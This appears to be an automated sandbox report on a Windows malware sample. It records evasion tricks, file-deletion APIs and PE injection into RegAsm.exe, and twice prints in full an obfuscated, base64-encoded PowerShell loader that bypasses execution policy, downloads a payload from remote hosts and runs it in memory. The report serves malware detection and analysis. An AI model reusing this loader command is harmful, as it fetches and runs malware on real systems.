Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0040F7E2 Sleep,ExitProcess,

11_2_0040F7E2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 10_2_00007FF7C0C9A1F9 sldt word ptr fs:[eax]

10_2_00007FF7C0C9A1F9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,

11_2_0041A7D9

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1638	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1537	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4173	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5542	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 9339	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: foregroundWindowGot 1772	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7432	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6260	Thread sleep count: 4173 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2088	Thread sleep count: 5542 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5900	Thread sleep time: -19369081277395017s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6176	Thread sleep count: 258 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6176	Thread sleep time: -129000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2524	Thread sleep count: 143 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2524	Thread sleep time: -429000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2524	Thread sleep count: 9339 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2524	Thread sleep time: -28017000s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	11_2_0040928E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	11_2_0041C322
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	11_2_0040C388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	11_2_004096A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	11_2_00408847
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00407877 FindFirstFileW,FindNextFileW,	11_2_00407877
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0044E8F9 FindFirstFileExA,	11_2_0044E8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	11_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW,	11_2_00419B86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	11_2_0040BD72

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00407CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

11_2_00407CD2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 0000000A.00000002.1435352325.0000026F45BC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API call chain: ExitProcess graph end node

graph_11-48800

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Yara detected Powershell decode and execute

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00434A8A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

11_2_00434A8A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

11_2_0041CBE1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00443355 mov eax, dword ptr fs:[00000030h]

11_2_00443355

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_004120B2 GetProcessHeap,HeapFree,

11_2_004120B2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0043503C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_0043503C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00434A8A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00434A8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0043BB71 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_0043BB71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00434BD8 SetUnhandledExceptionFilter,	11_2_00434BD8

HIPS / PFW / Operating System Protection Evasion

Source: Yara match

File source: amsi64_7484.amsi.csv, type: OTHER

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 459000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 471000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 477000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 478000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 479000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 47E000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: CD2008	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe

11_2_00412132

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00419662 mouse_event,

11_2_00419662

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
